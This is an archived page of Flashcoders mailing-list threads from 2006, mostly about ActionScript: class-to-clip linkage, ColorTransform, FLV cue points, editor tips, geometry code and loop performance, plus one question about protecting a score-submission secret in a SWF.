Re: [Flashcoders] Associate clip with class

2006-09-20 Thread eka

Hello :)

with Vegas : http://osflash.org/vegas

you can use the class DisplayFactory :
http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/src/vegas/util/factory/DisplayFactory.as

Install the AS2 src of vegas in your classpaths and test the example :
http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/bin/test/vegas/util/factory/

You can try my example too in Lunas, the Components library extension of
vegas :
http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/bin/test/lunas/display/components/button/

EKA+ :)

2006/9/20, Alain Rousseau [EMAIL PROTECTED]:


There is an interesting article on the subject in the Flashcoder's Wiki
at osflash.org :

http://www.osflash.org/flashcoders/as2#creating_a_class_instance_based_on_movieclip_without_a_symbol_in_the_library

With this approach you can create a class that extends MovieClip and
then create an instance of that class without a symbol in the library. I
found it very useful and really neat ! works like a charm !


Alain

Geoff Stearns wrote:

 it does work in flash 8.

 as for clips on the stage, it does work, you just have to give the
 clip a linkage ID in the library first, and use that linkage to
 register the class to it.


 On Sep 19, 2006, at 5:31 PM, slangeberg wrote:

 Does Object.registerClass() work in Flash 8 (i haven't been able to
 get it
 to work)?  Also, does that allow you to register more than one clip
 with a
 class?

 The documentation seems to point to using the Linkage setting for AS2:

 * Availability: *ActionScript 1.0; Flash Player 6 - If you are using
 ActionScript 2.0 classes, you can use the ActionScript 2.0 Class
 field in
 the Linkage Properties or Symbol Properties dialog box to associate an
 object with a class instead of using this method.


 Also, I don't think it works for clips that you've dragged to the
 stage:

 When an instance of the specified movie clip symbol is created by
 using

 MovieClip.attachMovie() or MovieClip.duplicateMovieClip(), it is
 registered
 to the class specified by theClass

 Scott


 On 9/19/06, Geoff Stearns [EMAIL PROTECTED] wrote:


 that article was only meant for assigning a class to your _root
 timeline... I don't think he intended it to be used for other
 movieclips in the library or on stage.

 for that you could just use the linkage in the library or use
 Object.registerClass()





 On Sep 19, 2006, at 4:29 PM, slangeberg wrote:

  I was looking at Danny's article regarding a Flash Document  Class
 at:
 
  http://www.dannypatterson.com/Resources/Blog/EntryDetail.cfm?id=106
 
  And i started to wonder if people are using this to associate their
  clips on
  stage with a class?
 
  Are people doing this kind of thing (or otherwise) instead of
  setting the AS
  2.0 class property in the 'linkage' dialog of their movieclips  in
 the
  library?
 
  I just hate how it's not obvious (by linkage) which class is being
  used in
  Flash 8.0. Only gets me more excited for some Flash 9.0 projects to
  come
  through!
 
  : : ) Scott
  ___
  Flashcoders@chattyfig.figleaf.com
  To change your subscription options or search the archive:
  http://chattyfig.figleaf.com/mailman/listinfo/flashcoders
 
  Brought to you by Fig Leaf Software
  Premier Authorized Adobe Consulting and Training
  http://www.figleaf.com
  http://training.figleaf.com

 ___
 Flashcoders@chattyfig.figleaf.com
 To change your subscription options or search the archive:
 http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

 Brought to you by Fig Leaf Software
 Premier Authorized Adobe Consulting and Training
 http://www.figleaf.com
 http://training.figleaf.com




 --

 : : ) Scott
 ___
 Flashcoders@chattyfig.figleaf.com
 To change your subscription options or search the archive:
 http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

 Brought to you by Fig Leaf Software
 Premier Authorized Adobe Consulting and Training
 http://www.figleaf.com
 http://training.figleaf.com


 ___
 Flashcoders@chattyfig.figleaf.com
 To change your subscription options or search the archive:
 http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

 Brought to you by Fig Leaf Software
 Premier Authorized Adobe Consulting and Training
 http://www.figleaf.com
 http://training.figleaf.com



___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe 

[Flashcoders] OT- subscribe to Flashcomm list

2006-09-20 Thread Gadi
Hi coders, sorry for the OT.

FlashComm subscription page seem to be down, any other way I can subscribe?

 

Best regards, 

gadi 

 

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] Using a swf as an animated texture in direct X

2006-09-20 Thread Mike Mountain

Anyone know if it's possible to use an animated swf as a texture for a
directX object?

Cheers

M
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] Using a swf as an animated texture in direct X

2006-09-20 Thread Ian Thomas

Hi Mike,
 Off the top of my head, I don't think you can do it directly.

 However, presumably you could render the Flash movie using the
ActiveX control, grab the rendered frame as an image, and feed that in
to DirectX on every update.

 How exactly to render from the ActiveX control to an off-screen
buffer I don't know, but I doubt I'm the only one to come up with that
idea (and I doubt it's limited to Flash) - it's probably worth a
Google.

 (That is, unless DirectX has changed radically since I last used it
and has native support for Flash - which I doubt...)

Ian

On 9/20/06, Mike Mountain [EMAIL PROTECTED] wrote:


Anyone know if it's possible to use an animated swf as a texture for a
directX object?

Cheers

M

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] ColorTransform

2006-09-20 Thread Laurent CUCHET
There is an mc with mutltiple colors

I apply color change but I dont know how to restore original state

Have you got an Idea please

import flash.geom.ColorTransform;
import flash.geom.Transform;

var colorTrans:ColorTransform = new ColorTransform();
var trans:Transform = new Transform(my_mc);
trans.colorTransform = colorTrans;

blue_btn.onRelease = function() {
colorTrans.rgb = 0x99; // blue
trans.colorTransform = colorTrans;
};

restore_btn.onRelease = function() {
   //??? How can I do restore the initial state ?
trans.colorTransform = colorTrans;
};

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] FLVPlayer and addASCuePoint

2006-09-20 Thread Muzak
Dispatch a 'cuePoint' event when a seek occurs.
Also listen for the 'ready' event, and add cuePoints in the event handler.


import mx.utils.Delegate;
//
function buttonReleaseHandler() {
 trace(Application ::: buttonReleaseHandler);
 var cp:Object = _player.findCuePoint(cuePt8);
// create props to send along with cuePoint event
 var tmp:Object = {time:cp.time, name:cp.name, parameters:cp.parameters};
 _player.seek(cp.time);
 _player.dispatchEvent({type:cuePoint, info:tmp});
}
//
function cuepointHandler(evt:Object) {
 trace(Application ::: cuepointHandler);
 trace(- name: +evt.info.name);
}
//
function readyHandler(evt:Object) {
 trace(Application ::: readyHandler);
 _player.addASCuePoint(1, cuePt1);
 _player.addASCuePoint(8, cuePt8);
}
//
_btn.onRelease = Delegate.create(this, this.buttonReleaseHandler);
_player.addEventListener(cuePoint, Delegate.create(this, cuepointHandler));
_player.addEventListener(ready, Delegate.create(this, readyHandler));
_player.contentPath = film.flv;

regards,
Muzak

- Original Message - 
From: til [EMAIL PROTECTED]
To: flashcoders@chattyfig.figleaf.com
Sent: Wednesday, September 20, 2006 1:53 AM
Subject: [Flashcoders] FLVPlayer and addASCuePoint


 Hello everyone. After a long hiatus from this list, I decided to
 resubscribe, becasue i am at my wit's end :(

 Thankfully, chattyfig has some of the world's best AS coders so I'm
 sure this is no problem for you people. Here goes:

 I got a FLVplayer (flash 8 pro) instance and loaded an flv that has no
 cuepoints encoded. I really don't want to encode cuepoints, but use AS
 to create them.

 The code below works fine: it moves the playback to 8secs into the film.

 BUT! -- here is the problem! -- the trace action I have set for that
 cuepoint JUST WONT EXECUTE.

 The only way I can make it show is to seek to about 3 secs before my
 cuepoint, but obviously that also plays the film 3 secs earlier.

 I tired using seekToNavCuePoint() but that doesn't do anything, not
 even moves playback header.
 What else could I try? Again ,the video jumps as expected, but the
 action isnt happening.

 // load file
 Vid1.contentPath = film.flv;

 // cue point listening
 var listnerObject:Object = new Object();
 listnerObject.cuePoint = function(eventObject:Object):Void  {
 cuepointers(eventObject); // calling function below
 }
 Vid1.addEventListener(cuePoint, listnerObject);

 // make cuepoints
 Vid1.addASCuePoint(1,cuePt1);
 Vid1.addASCuePoint(8,cuePt8);

 // button to seek to a specific cuepoint
 btn1.onPress = function(){
 Vid1.seek(Vid1.findCuePoint(cuePt8)[time]);
 }

 // my function to do something when the cuepoint is hit
 function cuepointers(eventObject){
switch(eventObject.info.name){
 case cuePt1 :
 trace(cue1);
 break;
 case cuePt8 :
 trace(cue8); // here! this action just wont happen :(
 break;
 default : break;
}//end switch
 }


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] ColorTransform

2006-09-20 Thread Nehal Gandhi

Try this
---

import flash.geom.ColorTransform;
import flash.geom.Transform;

var colorTrans:ColorTransform = new ColorTransform();
var trans:Transform = new Transform(my_mc);

var restoreTrans:ColorTransform = new ColorTransform();

blue_btn.onRelease = function() {
  colorTrans.rgb = 0x99; // blue
  trans.colorTransform = colorTrans;
};

restore_btn.onRelease = function() {
 //??? How can I do restore the initial state ?
 trans.colorTransform = restoreTrans;
};

-

-Nehal

On 9/20/06, Laurent CUCHET [EMAIL PROTECTED] wrote:


There is an mc with mutltiple colors

I apply color change but I dont know how to restore original state

Have you got an Idea please

import flash.geom.ColorTransform;
import flash.geom.Transform;

var colorTrans:ColorTransform = new ColorTransform();
var trans:Transform = new Transform(my_mc);
trans.colorTransform = colorTrans;

blue_btn.onRelease = function() {
   colorTrans.rgb = 0x99; // blue
   trans.colorTransform = colorTrans;
};

restore_btn.onRelease = function() {
  //??? How can I do restore the initial state ?
   trans.colorTransform = colorTrans;
};

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


RE: [Flashcoders] OT- subscribe to Flashcomm list

2006-09-20 Thread [a /]
I'm glad to see I'm not the only one experiencing the failure of the FComm
list

[a/]

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Gadi
Sent: 20 September 2006 09:28
To: flashcoders@chattyfig.figleaf.com
Subject: [Flashcoders] OT- subscribe to Flashcomm list

Hi coders, sorry for the OT.

FlashComm subscription page seem to be down, any other way I can subscribe?

 

Best regards, 

gadi 

 

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] AS3: List of dispatched events from any EventDispatcher in run-time

2006-09-20 Thread Tomas Lehuta

Hello ActionScripters,

is it somehow possible in ActionScript 3.0 to retrieve the list of all
events that any subclass of EventDispatcher dispatches?
I need to add event listeners dynamically at run-time and would like to
check if the event type is valid for given EventDispatcher.

Thanks for comments..

Tomas Lehuta
lharp / http://lharp.net
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] 3rd party editor: FD

2006-09-20 Thread eric dolecki

I think I'll jump to FlashDevelop and was wondering how I can highlight a
bit of code, and then search for matching code throughout my document - I am
looking for that but haven't found it yet. Its something I do rather
frequently. A Firefox-like quick search would be awesome too - can't find
anything like that in there yet either.

Thanks for any feedback.

- e.
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


RE: [Flashcoders] 3rd party editor: FD

2006-09-20 Thread André Goliath
Simply highlight it and hit F3 :) 

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of eric dolecki
Sent: Wednesday, September 20, 2006 3:19 PM
To: Flashcoders mailing list
Subject: [Flashcoders] 3rd party editor: FD

I think I'll jump to FlashDevelop and was wondering how I can highlight a
bit of code, and then search for matching code throughout my document - I am
looking for that but haven't found it yet. Its something I do rather
frequently. A Firefox-like quick search would be awesome too - can't find
anything like that in there yet either.

Thanks for any feedback.

- e.
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] a question of geometry

2006-09-20 Thread Charles Parcell

It is a great book!  Plus, we have the added benifit of having access to the
man here on the list!

Charles P.


On 9/19/06, Andreas R [EMAIL PROTECTED] wrote:


Whoa, thanks for pointing me to that book. Just ordered it :) sounds
like exactly what i need.

- A

Charles Parcell wrote:
 This is why Danny is The Math Man!

 BTW, love your book Danny. Can't wait for the next. :)

http://www.amazon.com/Mathematics-Physics-Programmers-Game-Development/dp/1584503300/sr=1-1/qid=1158676544/ref=pd_bbs_1/104-0626050-4073525?ie=UTF8s=books


 Charles P.


 On 9/18/06, Andreas R [EMAIL PROTECTED] wrote:

 Danny Kodicek wrote:
  I can email an image to anyone that wants it, or you can draw it
like
  this...
 
  I think this is what you want...
  Draw a point and a line vertically upwards of length R.
  Draw a large letter V (inverted cone) upwards from the point.
  Draw an arc, radius R to cut the V.
  Where the arc cuts the vertical draw a circle, radius r, to meet the
 edges
  of V.
  The edges of V are tangents.
  Draw radii to these tangents, making 90 degree angles with them.
  Mark r and R on the diagram.
  Now r/R = sin(A), where A is half the angle at the bottom of the V.
 
  Let's say there are n of these small circles, so that
  n*2*A = 360   (degrees)
  or
  n*2*A = 2*pi   (radians)
 
  You can decide n and find A and then find r/R (the angles are
usually
 in
  radians).
  You can then decide R and find r (or other way around).
 
  Each time through the loop for =n the new angle measured from
  the vertical
  in a clockwise direction is n*2*A.
  The place to draw each circle is x=Rsin(n*2*A) and y=Rcos(n*2*A)
 
 
  I enjoyed this one, so I came back to it and wrote a complete
 solution.
 Put
  a symbol in the library with id 'circle', then run this script:
 
  function getRingRadius(tArray:Array):Number {
var tMaxError = 0.1
var tMax = 1024
var tMin = 0
do {
var tCheck = (tMax + tMin) / 2
var tSum = 0
for (var i = 0; itArray.length; i++) {
tSum += Math.atan2(tArray[i],tCheck)
}
if (tSumMath.PI) {
tMin = tCheck
} else {
tMax = tCheck
}
} while (Math.abs(tSum - Math.PI)tMaxError)
return tCheck
  }
  var tRadii = new Array()
  for (var i=0; i10 ; i++) {
tRadii.push(Math.random()*20+1)
  }
  var tRingRadius = getRingRadius(tRadii)
  var tSquaredRadius = tRingRadius * tRingRadius
  var tAngle = 0
  for (var i=0; i10 ; i++) {
tCircle = this.attachMovie(circle, circle+i,
  this.getNextHighestDepth())
tCircle._width = tCircle._height = tRadii[i]*2
tThisAngle = Math.atan2(tRadii[i], tRingRadius)
tAngle += tThisAngle
tDistance = Math.sqrt(tRadii[i]*tRadii[i] + tSquaredRadius)
tCircle._x = 200 + tDistance * Math.cos(tAngle)
tCircle._y = 200 + tDistance * Math.sin(tAngle)
tAngle += tThisAngle
  }
 
  NB: my previous script had my max and min mixed up so it didn't work.
 This
  one is correct.
 
  Danny
 
  ___
  Flashcoders@chattyfig.figleaf.com
  To change your subscription options or search the archive:
  http://chattyfig.figleaf.com/mailman/listinfo/flashcoders
 
  Brought to you by Fig Leaf Software
  Premier Authorized Adobe Consulting and Training
  http://www.figleaf.com
  http://training.figleaf.com
 
 You guys are gods :)
 Thanks so much! My problem was solved completely by slight
modifications
 to Danny's script. What i'd do without this list i don't know.

 - Andreas
 ___
 Flashcoders@chattyfig.figleaf.com
 To change your subscription options or search the archive:
 http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

 Brought to you by Fig Leaf Software
 Premier Authorized Adobe Consulting and Training
 http://www.figleaf.com
 http://training.figleaf.com

 ___
 Flashcoders@chattyfig.figleaf.com
 To change your subscription options or search the archive:
 http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

 Brought to you by Fig Leaf Software
 Premier Authorized Adobe Consulting and Training
 http://www.figleaf.com
 http://training.figleaf.com

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training

Re: [Flashcoders] ::dk:: Best way to check if data is done loading for scroll bars

2006-09-20 Thread Gustavo Teider - Adobe Flash Developer

dnk escreveu:
Hi - I have had a few times where I need to call the redraw() function 
to recreate my scrollbars after the data is loaded
But I obviously need to wait until the data is completed. The times I 
seem to have the issues is when loading something that takes a bit 
longer (IE an image or something after a returned record set) into say 
an html text field (with a scroll bar) or something into a scroller pane.


Is there something that makes this a little easier? Or is it the type 
of thing where I need to do some sort of setInterval



Thanks!


d




___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


use setScrollTarget

scrollbar.setScrollTarget(your_textfield);

is this ?

--
Gustavo Teider ( gugateider )
www.gugateider.com
Curitiba - PR

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] 3rd party editor: FD

2006-09-20 Thread eric dolecki

Thank you :)
Also, I found a plugin for the Firefox-like Find. Its not as elegant as
SEPY's but it works.

- e.

On 9/20/06, André Goliath [EMAIL PROTECTED] wrote:


Simply highlight it and hit F3 :)

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of eric
dolecki
Sent: Wednesday, September 20, 2006 3:19 PM
To: Flashcoders mailing list
Subject: [Flashcoders] 3rd party editor: FD

I think I'll jump to FlashDevelop and was wondering how I can highlight a
bit of code, and then search for matching code throughout my document - I
am
looking for that but haven't found it yet. Its something I do rather
frequently. A Firefox-like quick search would be awesome too - can't find
anything like that in there yet either.

Thanks for any feedback.

- e.
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com

Re: [Flashcoders] Associate clip with class

2006-09-20 Thread slangeberg

Eka,

Can you tell us what you're trying to accomplish with that DisplayFactory?

Usage example?

Scott

On 9/20/06, eka [EMAIL PROTECTED] wrote:


Hello :)

with Vegas : http://osflash.org/vegas

you can use the class DisplayFactory :

http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/src/vegas/util/factory/DisplayFactory.as

Install the AS2 src of vegas in your classpaths and test the example :

http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/bin/test/vegas/util/factory/

You can try my example too in Lunas, the Components library extension of
vegas :

http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/bin/test/lunas/display/components/button/

EKA+ :)

2006/9/20, Alain Rousseau [EMAIL PROTECTED]:

 There is an interesting article on the subject in the Flashcoder's Wiki
 at osflash.org :


http://www.osflash.org/flashcoders/as2#creating_a_class_instance_based_on_movieclip_without_a_symbol_in_the_library

 With this approach you can create a class that extends MovieClip and
 then create an instance of that class without a symbol in the library. I
 found it very useful and really neat ! works like a charm !


 Alain

 Geoff Stearns wrote:

  it does work in flash 8.
 
  as for clips on the stage, it does work, you just have to give the
  clip a linkage ID in the library first, and use that linkage to
  register the class to it.
 
 
  On Sep 19, 2006, at 5:31 PM, slangeberg wrote:
 
  Does Object.registerClass() work in Flash 8 (i haven't been able to
  get it
  to work)?  Also, does that allow you to register more than one clip
  with a
  class?
 
  The documentation seems to point to using the Linkage setting for
AS2:
 
  * Availability: *ActionScript 1.0; Flash Player 6 - If you are using
  ActionScript 2.0 classes, you can use the ActionScript 2.0 Class
  field in
  the Linkage Properties or Symbol Properties dialog box to associate
an
  object with a class instead of using this method.
 
 
  Also, I don't think it works for clips that you've dragged to the
  stage:
 
  When an instance of the specified movie clip symbol is created by
  using
 
  MovieClip.attachMovie() or MovieClip.duplicateMovieClip(), it is
  registered
  to the class specified by theClass
 
  Scott
 
 
  On 9/19/06, Geoff Stearns [EMAIL PROTECTED] wrote:
 
 
  that article was only meant for assigning a class to your _root
  timeline... I don't think he intended it to be used for other
  movieclips in the library or on stage.
 
  for that you could just use the linkage in the library or use
  Object.registerClass()
 
 
 
 
 
  On Sep 19, 2006, at 4:29 PM, slangeberg wrote:
 
   I was looking at Danny's article regarding a Flash Document  Class
  at:
  
  
http://www.dannypatterson.com/Resources/Blog/EntryDetail.cfm?id=106
  
   And i started to wonder if people are using this to associate
their
   clips on
   stage with a class?
  
   Are people doing this kind of thing (or otherwise) instead of
   setting the AS
   2.0 class property in the 'linkage' dialog of their movieclips  in
  the
   library?
  
   I just hate how it's not obvious (by linkage) which class is being
   used in
   Flash 8.0. Only gets me more excited for some Flash 9.0 projects
to
   come
   through!
  
   : : ) Scott
   ___
   Flashcoders@chattyfig.figleaf.com
   To change your subscription options or search the archive:
   http://chattyfig.figleaf.com/mailman/listinfo/flashcoders
  
   Brought to you by Fig Leaf Software
   Premier Authorized Adobe Consulting and Training
   http://www.figleaf.com
   http://training.figleaf.com
 
  ___
  Flashcoders@chattyfig.figleaf.com
  To change your subscription options or search the archive:
  http://chattyfig.figleaf.com/mailman/listinfo/flashcoders
 
  Brought to you by Fig Leaf Software
  Premier Authorized Adobe Consulting and Training
  http://www.figleaf.com
  http://training.figleaf.com
 
 
 
 
  --
 
  : : ) Scott
  ___
  Flashcoders@chattyfig.figleaf.com
  To change your subscription options or search the archive:
  http://chattyfig.figleaf.com/mailman/listinfo/flashcoders
 
  Brought to you by Fig Leaf Software
  Premier Authorized Adobe Consulting and Training
  http://www.figleaf.com
  http://training.figleaf.com
 
 
  ___
  Flashcoders@chattyfig.figleaf.com
  To change your subscription options or search the archive:
  http://chattyfig.figleaf.com/mailman/listinfo/flashcoders
 
  Brought to you by Fig Leaf Software
  Premier Authorized Adobe Consulting and Training
  http://www.figleaf.com
  http://training.figleaf.com
 
 
 
 ___
 Flashcoders@chattyfig.figleaf.com
 To change your subscription options or search the archive:
 http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

 Brought to you by Fig Leaf Software
 Premier Authorized Adobe Consulting and Training
 http://www.figleaf.com
 

Re: [Flashcoders] Find item in array

2006-09-20 Thread Tyler Wright

He's right, and declaring the variable i inside of the loop rather than
before actually (weirdly) runs faster. I don't know what pcode it produces,
but I know CPU doesn't care about pcode. I think the only way to test speed
is timing the thing. It's all very interesting, but I doubt even 10 ms of
difference over 10,000 iterations could ever be noticable to the user. It
certainly won't be the difference between a script timeout or not. I like
the for..in for its simplicity ... also it helps avoid endless looping and
other unexpected behavior if you're adding to or taking away from the array
while the loop is running.

I agree, AS3 rocks! I'm done with 275 ms if I can have 7 ms. Thats 39 times
faster! geesh

Tyler

On 9/19/06, JOR [EMAIL PROTECTED] wrote:


Actually, Tyler's tests proved that var a in is faster with today's
player.  I tried his test out myself and my results were even wider than
his.  I published for AS2 and ran in Flash Player 9.  I was averaging
roughly 265ms for var a in and 275ms for (--a -(-1)).

Then I compiled for AS3 and it ran too fast for testing at 7ms for
both  AS3/Player 9 rocks!!!

So, I added another 9 to the loop counter making it 9 iterations.
Then var a in ran at 70ms, (--a -(-1)) and (a--) ran the same at 77ms.

Then I added another 9 making the loops 99.  var a in ran at
740ms, (--a -(-1)) ran 765ms and (a--) at 770ms.

I'm satisfied that for (var a in array) is faster than while (--a
-(-1)).  Perhaps in the past that wasn't always the case, but with
player 9 it is the case and that's what I'll be basing my decisions on.

James O'Reilly
http://www.jamesor.com



Steven Sacks | BLITZ wrote:
using a for..i..in loop will always be faster


 It's been proven before here on flashcoders that for in is not faster
 than --a -(-1) because it compiles to more lines of pcode.  I guess it's
 time to use Flasm to bust out some pcode and post it here on the list
 instead of making claims based on hunches and past posts in the
 archives.

 ___
 Flashcoders@chattyfig.figleaf.com
 To change your subscription options or search the archive:
 http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

 Brought to you by Fig Leaf Software
 Premier Authorized Adobe Consulting and Training
 http://www.figleaf.com
 http://training.figleaf.com

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] Hiding MD5 shared secret

2006-09-20 Thread Toon Van de Putte

Hi,

I'm building a Flash game that'll store a player's score in a database. To
make sure the posts are coming from the swf, we're using MD5 to hash some
(variable) player data together with a shared secret.
This works fine, until someone downloads and decompiles the swf, and finds
the shared secret.
Do you have any best practices for hiding the shared secret as much as
possible? I don't know enough about how the Flash IDE compiles swf's to
figure this out on my own.

Thanks!
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] Associate clip with class

2006-09-20 Thread Adam Pasztory

I'm not a big fan of using Object.registerClass().  I find it creates a
dependency between code and art assets that can be problematic.  If your
MovieClip is changed, your won't be able to instantiate anymore.  Another
problem with registerClass() is that it makes it difficult to change the source
of the movie clip.  For example, if I decide I'd like to load an external
SWF instead of attaching a clip from the library, my class won't work
anymore.

Like Jason, I use containment most of the time to encapsulate movie clips.

On 9/20/06, slangeberg [EMAIL PROTECTED] wrote:


Eka,

Can you tell us what you're trying to accomplish with that DisplayFactory?

Usage example?

Scott

On 9/20/06, eka [EMAIL PROTECTED] wrote:

 Hello :)

 with Vegas : http://osflash.org/vegas

 you can use the class DisplayFactory :


http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/src/vegas/util/factory/DisplayFactory.as

 Install the AS2 src of vegas in your classpaths and test the example :


http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/bin/test/vegas/util/factory/

 You can try my example too in Lunas, the Components library extension of
 vegas :


http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/bin/test/lunas/display/components/button/

 EKA+ :)

 2006/9/20, Alain Rousseau [EMAIL PROTECTED]:
 
  There is an interesting article on the subject in the Flashcoder's
Wiki
  at osflash.org :
 
 

http://www.osflash.org/flashcoders/as2#creating_a_class_instance_based_on_movieclip_without_a_symbol_in_the_library
 
  With this approach you can create a class that extends MovieClip and
  then create an instance of that class without a symbol in the library.
I
  found it very useful and really neat ! works like a charm !
 
 
  Alain
 
  Geoff Stearns wrote:
 
   it does work in flash 8.
  
   as for clips on the stage, it does work, you just have to give the
   clip a linkage ID in the library first, and use that linkage to
   register the class to it.
  
  
   On Sep 19, 2006, at 5:31 PM, slangeberg wrote:
  
   Does Object.registerClass() work in Flash 8 (i haven't been able to
   get it
   to work)?  Also, does that allow you to register more than one clip
   with a
   class?
  
   The documentation seems to point to using the Linkage setting for
 AS2:
  
   * Availability: *ActionScript 1.0; Flash Player 6 - If you are
using
